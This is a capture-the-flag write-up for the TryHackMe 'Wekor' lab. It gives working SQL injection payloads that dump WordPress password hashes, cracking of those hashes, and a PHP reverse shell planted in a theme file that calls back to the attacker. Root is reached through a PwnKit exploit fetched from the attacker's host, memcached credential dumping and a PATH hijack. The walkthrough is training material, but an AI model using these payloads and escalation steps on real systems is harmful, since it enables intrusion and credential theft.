Wekor CTF Write-Up:

Add Wekor.thm to /etc/hosts as the created recommended:

```
root@moti-kali: ~/Desktop/TryHackMe/vpn ×   root@moti-kali: ~/Desktop/TryHackMe/Linux CTFs/POC CTF's/wekor ×
  GNU nano 6.0                                                    /etc/hosts
127.0.0.1       localhost
127.0.1.1       moti-kali
10.10.202.91     wekor.thm
```

Start with a simple nmap scan:

After viewing the robots.txt I found a path to page that instruct me where the site is:

```
wekor.thm/robots.txt
Kali Linux  Kali Tools  Kali Docs  Kali Forums  Kali NetHunter
User-agent: *
Disallow: /workshop/
Disallow: /root/
Disallow: /lol/
Disallow: /agent/
Disallow: /feed
Disallow: /crawler
Disallow: /boot
Disallow: /comingreallysoon
Disallow: /interesting
```

```
wekor.thm/comingreallysoon/
Kali Linux  Kali Tools  Kali Docs  Kali Forums  Kali NetHunter  Exploit-DB  Google Hacking DB  OffSec
Welcome Dear Client! We've setup our latest website on /it-next, Please go check it out! If you have any comments or suggestions, please tweet them to @faketwitteraccount! Thanks a lot !
```

So I go to the Wekor.thm/it-next and start checking all the inputs fields for vulnerabilities, after a while I found an SQLi vulnerability in the coupon field :

If I enter just a random string its says that the coupon don't exist:

```
sdfsdf                Apply Coupon
sdfsdf
                      Coupon Code Does Not Exist!
```

But, if I entered 'or 1=1 -- - its say that the coupon is exist (and we also get the coupon and it id)!

```
a'or 1=1 -- -         Apply Coupon
Coupon Code : 12345 With ID : 1 And With Expire Date Of : doesnotexpire Is Valid!
```

So, let's start to inject:

First lets see how many columns I have in the table:

```
' order by 1,2,3,4,5,6,7,8 -- -        Apply Coupon
Unknown column '4' in 'order clause'
```

So from the error we understand that we have only 3 columns ,

To understand how the data is reflected lets use union select:

```
' union select 1,2,3 -- -              Apply Coupon
Coupon Code : 1 With ID : 2 And With Expire Date Of : 3 Is Valid!
```

So we can see the structure lets try to see some useful information like user database name and version :

I inject this query:

'union select user(),database(),version() -- -

Coupon Code : root@localhost With ID : coupons And With Expire Date Of : 5.7.32-0ubuntu0.16.04.1 Is Valid!

So now we now the data base name is coupons and the version, and the user is running the data base is the root user!

Now lets see if we can get more information from the information_schema db:

'union select table_name,table_schema,3 from information_schema.tables -- -

(table_schema is the name of the database that the table is in)

Coupon Code : wp_commentmeta With ID : wordpress And With Expire Date Of : 3 Is Valid!
Coupon Code : wp_comments With ID : wordpress And With Expire Date Of : 3 Is Valid!
Coupon Code : wp_links With ID : wordpress And With Expire Date Of : 3 Is Valid!
Coupon Code : wp_options With ID : wordpress And With Expire Date Of : 3 Is Valid!
Coupon Code : wp_postmeta With ID : wordpress And With Expire Date Of : 3 Is Valid!
Coupon Code : wp_posts With ID : wordpress And With Expire Date Of : 3 Is Valid!
Coupon Code : wp_term_relationships With ID : wordpress And With Expire Date Of : 3 Is Valid!
Coupon Code : wp_term_taxonomy With ID : wordpress And With Expire Date Of : 3 Is Valid!
Coupon Code : wp_termmeta With ID : wordpress And With Expire Date Of : 3 Is Valid!
Coupon Code : wp_terms With ID : wordpress And With Expire Date Of : 3 Is Valid!
Coupon Code : wp_usermeta With ID : wordpress And With Expire Date Of : 3 Is Valid!
Coupon Code : wp_users With ID : wordpress And With Expire Date Of : 3 Is Valid!

We can see the there is a database called wordpress contain interesting table called 'wp_users' , let's check the 'wp_users' table!

The first thing we want is to find the columns name in this table :

'union select column_name,table_name,3 from information_schema.columns where table_name='wp_users' -- -

Coupon Code : ID With ID : wp_users And With Expire Date Of : 3 Is Valid!
Coupon Code : user_login With ID : wp_users And With Expire Date Of : 3 Is Valid!
Coupon Code : user_pass With ID : wp_users And With Expire Date Of : 3 Is Valid!
Coupon Code : user_nicename With ID : wp_users And With Expire Date Of : 3 Is Valid!
Coupon Code : user_email With ID : wp_users And With Expire Date Of : 3 Is Valid!
Coupon Code : user_url With ID : wp_users And With Expire Date Of : 3 Is Valid!
Coupon Code : user_registered With ID : wp_users And With Expire Date Of : 3 Is Valid!
Coupon Code : user_activation_key With ID : wp_users And With Expire Date Of : 3 Is Valid!
Coupon Code : user_status With ID : wp_users And With Expire Date Of : 3 Is Valid!
Coupon Code : display_name With ID : wp_users And With Expire Date Of : 3 Is Valid!

'union select user_login,user_pass,user_email from wordpress.wp_users -- -

Coupon Code : admin With ID : PBoyfR2QzhNjRNmQZpva6TuuD0EE31B. And With Expire Date Of : admin@wekor.thm Is Valid!
Coupon Code : wp_jeffrey With ID : PBU8QpWD.kHZv3Vd1r52ibmO913hmj10 And With Expire Date Of : jeffrey@wekor.thm Is Valid!
Coupon Code : wp_yura With ID : PB6jSC3m7WdMlLi1/NDb3OFhqv536SV/ And With Expire Date Of : yura@wekor.thm Is Valid!
Coupon Code : wp_eagle With ID : PBpyTRbmvfcKyTrbDzaK1zSPgM7J6QY/ And With Expire Date Of : eagle@wekor.thm Is Valid!

Yes!! We got the usernames and password hashes, lets try to crack theme:

First I save all the hashes to a file :

```
admin
$P$BoyfR2QzhNjRNmQZpva6TuuD0EE31B.
wp_jeffery
$P$BU8QpWD.kHZv3Vd1r52ibmO913hmj10
wp_yura
$P$B6jSC3m7WdMlLi1/NDb3OFhqv536SV/
wp_eagle
$P$BpyTRbmvfcKyTrbDzaK1zSPgM7J6QY/
```

Name-that-hash to find hashcat mode:

```
┌──(root㉿moti-kali)-[~/…/TryHackMe/Linux CTFs/POC CTF's/wekor]
└─# name-that-hash -f hashes.txt
```

```
$P$BoyfR2QzhNjRNmQZpva6TuuD0EE31B.

Most Likely
Wordpress ≥ v2.6.2, HC: 400 JtR: phpass
Joomla ≥ v2.5.18, HC: 400 JtR: phpass
PHPass' Portable Hash, HC: 400 JtR: phpass
```

They all came up the same so mode 400 it is ! hashcat:

```
┌──(root㉿moti-kali)-[~/…/TryHackMe/Linux CTFs/POC CTF's/wekor]
└─# hashcat -a 0 -m 400 hashes.txt /usr/share/wordlists/rockyou.txt --show
Hashfile 'hashes.txt' on line 1 (admin): Token length exception
Hashfile 'hashes.txt' on line 2 ($P$BoyfR2QzhNjRNmQZpva6TuuD0EE31B. ): Token length exception
Hashfile 'hashes.txt' on line 3 (wp_jeffery): Token length exception
Hashfile 'hashes.txt' on line 5 (wp_yura): Token length exception
Hashfile 'hashes.txt' on line 7 (wp_eagle): Token length exception
$P$BU8QpWD.kHZv3Vd1r52ibmO913hmj10:rockyou
$P$B6jSC3m7WdMlLi1/NDb3OFhqv536SV/:soccer13
$P$BpyTRbmvfcKyTrbDzaK1zSPgM7J6QY/:xxxxxx
```

So, I was able to crack al three users but not the admin...

Now we have the users and passwords, but we don't have any clue of where the wordpress site is hosted, so let's check the domain Wekor.thm for sub domains:

Note: I have gobuster v-3.6 and it didn't find the subdomain , so I download a older version (3.0.1) and it worked!

```
┌──(root㉿moti-kali)-[~/…/TryHackMe/Linux CTFs/POC CTF's/wekor]
└─# gobuster vhost -u wekor.thm -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt
═══════════════════════════════════════════════════════════════
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
═══════════════════════════════════════════════════════════════
[+] Url:          http://wekor.thm
[+] Threads:      10
[+] Wordlist:     /usr/share/dnsrecon/subdomains-top1mil-5000.txt
[+] User Agent:   gobuster/3.0.1
[+] Timeout:      10s
═══════════════════════════════════════════════════════════════
2024/04/09 03:16:34 Starting gobuster
═══════════════════════════════════════════════════════════════
Found: site.wekor.thm (Status: 200) [Size: 143]
```

So, let's add this sub domain to our /etc/hosts file:

```
  GNU nano 6.0                                          /etc/hosts *
127.0.0.1       localhost
127.0.1.1       moti-kali
10.10.202.91    wekor.thm
10.10.202.91    site.wekor.thm
```

Let's visit this site:

```
view-source:http://site.wekor.thm/

1 Hi there!
2
3 Nothing here for now, but there should be an amazing website here in about 2 weeks, SO DON'T FORGET TO COME BACK IN 2 WEEKS!
4
5 - Jim
6
```

So, there is nothing to see here , lets crawl!

```
┌──(root㉿moti-kali)-[~/…/TryHackMe/Linux CTFs/POC CTF's/wekor]
└─# gobuster dir -u http://site.wekor.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://site.wekor.thm
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2024/04/09 03:20:20 Starting gobuster
===============================================================
/wordpress (Status: 301)
```

ok let's go to wordpress login and see if any of this users have an admin permissions:

```
site.wekor.thm/wordpress/wp-login.php
```

Yes! the user wp_yura is an admin , so let's go to the themes and change the 404.php of the twentytwentyone theme to get a reverse shell:

Appearance→Theme Editor→404.php and add the payload:

Payload used: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

```
Posts
Media
Pages
Comments
Appearance
Themes
Customize
Widgets
Menus
Background
Theme Editor
Plugins

Twenty Twenty-One: 404 Template (404.php)
Selected file content:
32 // Description
33 // -----------
34 // This script will make an outbound TCP connection to a hardcode
35 // The recipient will be given a shell running as the current use
36 //
37 // Limitations
38 // -----------
39 // proc_open and stream_set_blocking require PHP version 4.3+, or
40 // Use of stream_select() on file descriptors returned by proc_op
41 // Some compile-time options are needed for daemonisation (like p
42 //
43 // Usage
44 // -----
45 // See http://pentestmonkey.net/tools/php-reverse-shell if you ge
46
47 set_time_limit (0);
48 $VERSION = "1.0";
49 $ip = '10.8.41.134';  // CHANGE THIS
50 $port = 4242;       // CHANGE THIS
```

Start a listener:

```
┌──(root㉿moti-kali)-[~/…/TryHackMe/Linux CTFs/POC CTF's/wekor]
└─# nc -nlvp 4242
listening on [any] 4242 ...
```

To trigger go to http://site.wekor.thm/wordpress/wp-content/themes/twentytwentyone/404.php

```
┌──(root㉿moti-kali)-[~/…/TryHackMe/Linux CTFs/POC CTF's/wekor]
└─# nc -nlvp 4242
listening on [any] 4242 ...
connect to [10.8.41.134] from (UNKNOWN) [10.10.103.33] 54278
Linux osboxes 4.15.0-132-generic #136~16.04.1-Ubuntu SMP Tue Jan 12 18:18:45 UTC 2021 i686 i686 i686 GNU/Linux
 04:26:28 up 22 min,  0 users,  load average: 0.00, 0.07, 0.32
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
```

Upgrading the shell:

```
$ export TERM=xterm
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
```

CTR+Z

```
┌──(root㉿moti-kali)-[~/…/TryHackMe/Linux CTFs/POC CTF's/wekor]
└─# stty raw -echo; fg
[1]  + continued  nc -nlvp 4242
                                reset
```

```
www-data@osboxes:/$
```

Privilege escalation time!

I found two ways to escalate the privilege :

1. PwnKit vulnerability (CVE-2021-4034)

First I run linpeas to find any PE vectors in the system :

Start python server and transfer the linpeas to /tmp on target machine :

```
┌──(root㉿moti-kali)-[~/…/TryHackMe/Linux CTFs/POC CTF's/wekor]
└─# python3 -m http.server 80 -d /root/Desktop/TryHackMe/usefulScripts
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

```
www-data@osboxes:/$ cd /tmp
www-data@osboxes:/tmp$ wget http://10.8.41.134/linpeas.sh
--2024-04-09 04:39:11--  http://10.8.41.134/linpeas.sh
Connecting to 10.8.41.134:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 828078 (809K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          100%[===================>] 808.67K  1.50MB/s    in 0.5s

2024-04-09 04:39:12 (1.50 MB/s) - 'linpeas.sh' saved [828078/828078]
```

```
www-data@osboxes:/tmp$ chmod +x linpeas.sh
www-data@osboxes:/tmp$ ./linpeas.sh
```

The linpeas find that the system is vulnerable to PwnKit

```
╔═══════════╣ CVEs Check
Vulnerable to CVE-2021-4034
```

Get the c file of the exploit:

```
www-data@osboxes:/tmp$ wget http://10.8.41.134/PwnKit.c
--2024-04-09 04:44:45--  http://10.8.41.134/PwnKit.c
Connecting to 10.8.41.134:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3204 (3.1K) [text/x-csrc]
Saving to: 'PwnKit.c'

PwnKit.c            100%[===================>]   3.13K  --.-KB/s    in 0s

2024-04-09 04:44:45 (134 MB/s) - 'PwnKit.c' saved [3204/3204]
```

Compile the program and execute:

```
www-data@osboxes:/tmp$ gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
www-data@osboxes:/tmp$ ./PwnKit
root@osboxes:/tmp# whoami
root
```

```
root@osboxes:/tmp# cat /home/Orka/user.txt
1a26a6d51c0172400add0e297608dec6
root@osboxes:/tmp# cat /root/root.txt
f4e788f87cc3afaecbaf0f0fe9ae6ad7
```

2. Memcache service is running on localhost:11211.

In the linpeas scan I found that there is a Memcache service running on localhost:11211 but in the nmap scan we couldn't find it because it only local and the port is closed.

```
root       969  0.0  0.2  12588  1436 ?        Ss   04:05   0:00 /usr/bin/python /root/server.py
memcache   973  0.0  0.3  47724  1588 ?        Ssl  04:05   0:00 /usr/bin/memcached -m 64 -p 11211 -u memcache -l 127.0.0.1
whoopsie   980  0.0  0.5  38188  2664 ?        Ssl  04:05   0:00 /usr/bin/whoopsie -f
root       989  0.0  0.6 805688  3332 ?        Ssl  04:05   0:00 /usr/bin/amazon-ssm-agent
```

So, after searching the web I found a nice article about exploiting this service :

Let's first connect to the service (from local host) :

```
www-data@osboxes:/tmp$ telnet localhost 11211
Trying 127.0.0.1 ...
Connected to localhost.
Escape character is '^]'.
```

Now we can start enumerating start with checking the slab status:

```
stats slabs
STAT 1:chunk_size 80
STAT 1:chunks_per_page 13107
STAT 1:total_pages 1
STAT 1:total_chunks 13107
STAT 1:used_chunks 5
STAT 1:free_chunks 13102
STAT 1:free_chunks_end 0
STAT 1:mem_requested 321
STAT 1:get_hits 0
STAT 1:cmd_set 80
STAT 1:delete_hits 0
STAT 1:incr_hits 0
STAT 1:decr_hits 0
STAT 1:cas_hits 0
STAT 1:cas_badval 0
STAT 1:touch_hits 0
STAT active_slabs 1
STAT total_malloced 1048560
END
```

As you can see we only have one slab active, lets check the items organized by slab id to better understand how the data is stored in slab ID 1

```
stats items
STAT items:1:number 5
STAT items:1:age 3240
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 0
STAT items:1:expired_unfetched 0
STAT items:1:evicted_unfetched 0
STAT items:1:crawler_reclaimed 0
STAT items:1:crawler_items_checked 0
STAT items:1:lrutail_reflocked 0
END
```

Now let's dump the keys in the slab :

The 1 represent the slab ID and the 0 is the number of keys we want to dump while 0 is to dump all:

```
stats cachedump 1 0
ITEM id [4 b; 1712649874 s]
ITEM email [14 b; 1712649874 s]
ITEM salary [8 b; 1712649874 s]
ITEM password [15 b; 1712649874 s]
ITEM username [4 b; 1712649874 s]
END
```

So we have a username and password items ! lets dump it:

Get [item to get]

```
get username
VALUE username 0 4
Orka
END
get password
VALUE password 0 15
OrkAiSC00L24/7$
END
```

So now we have the credentials to the user Orka! Let's try to su:

```
www-data@osboxes:/tmp$ su Orka
Password:
Orka@osboxes:/tmp$ whoami
Orka
Orka@osboxes:/tmp$
```

Yes! now we can get the user flag:

```
Orka@osboxes:/tmp$ cat /home/Orka/user.txt
1a26a6d51c0172400add0e297608dec6
```

I run linpeas again to see if there is more PE vectors to obtain root, while linpeas is running I start another session to start manual enumeration :

```
Orka@osboxes:/tmp$ sudo -l
[sudo] password for Orka:
Matching Defaults entries for Orka on osboxes:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User Orka may run the following commands on osboxes:
    (root) /home/Orka/Desktop/bitcoin
```

We can see that the user Orka can run a binary file as root , lets check it out:

The program is prompt for a password , lets se if we can find the right password in the string of the binary:

```
Enter the password :
password
Access Denied ...
Access Granted ...
                    User Manual:
Maximum Amount Of BitCoins Possible To Transfer at a time : 9
Amounts with more than one number will be stripped off!
```

The password is simply 'password' lol...

I also notice that the binary is running a python script :

```
Amount Of BitCoins :
 Sorry. This is not a valid amount!
python /home/Orka/Desktop/transfer.py %c
;*2$",
```

```
Orka@osboxes:~/Desktop$ sudo -u root /home/Orka/Desktop/bitcoin
Enter the password : password
Access Granted ...
                        User Manual:
Maximum Amount Of BitCoins Possible To Transfer at a time : 9
Amounts with more than one number will be stripped off!
And Lastly, be careful, everything is logged :)
Amount Of BitCoins : 2
Saving 2 BitCoin(s) For Later Use
Do you want to make a transfer? Y/N : Y
Transfering 2 BitCoin(s)
Transfer Completed Successfully ...
Orka@osboxes:~/Desktop$
```

So it's a simple program to transfer bitcoin , back to the linpeas i found that the user Orka have permission to write in /usr/sbin on system PATH so if I will created a simple binary called python in this path it will run my script as root!

```
PATH
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
New path exported: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
```

Lets create the file:

```
  GNU nano 2.5.3            File: /usr/sbin/python                    Modified

#!/bin/bash
/bin/bash -i
```

Don't forget to Chmod 755 usr/sbin/python !!!

Now lets run the binary and we should get a root shell:

```
Orka@osboxes:/usr/sbin$ chmod 755 python
Orka@osboxes:/usr/sbin$ sudo -u root /home/Orka/Desktop/bitcoin
Enter the password : password
Access Granted ...
                        User Manual:
Maximum Amount Of BitCoins Possible To Transfer at a time : 9
Amounts with more than one number will be stripped off!
And Lastly, be careful, everything is logged :)
Amount Of BitCoins : 2
root@osboxes:/usr/sbin# whoami
root
root@osboxes:/usr/sbin#
```

Obtain the root flag:

```
root@osboxes:/usr/sbin# cat /root/root.txt
f4e788f87cc3afaecbaf0f0fe9ae6ad7
```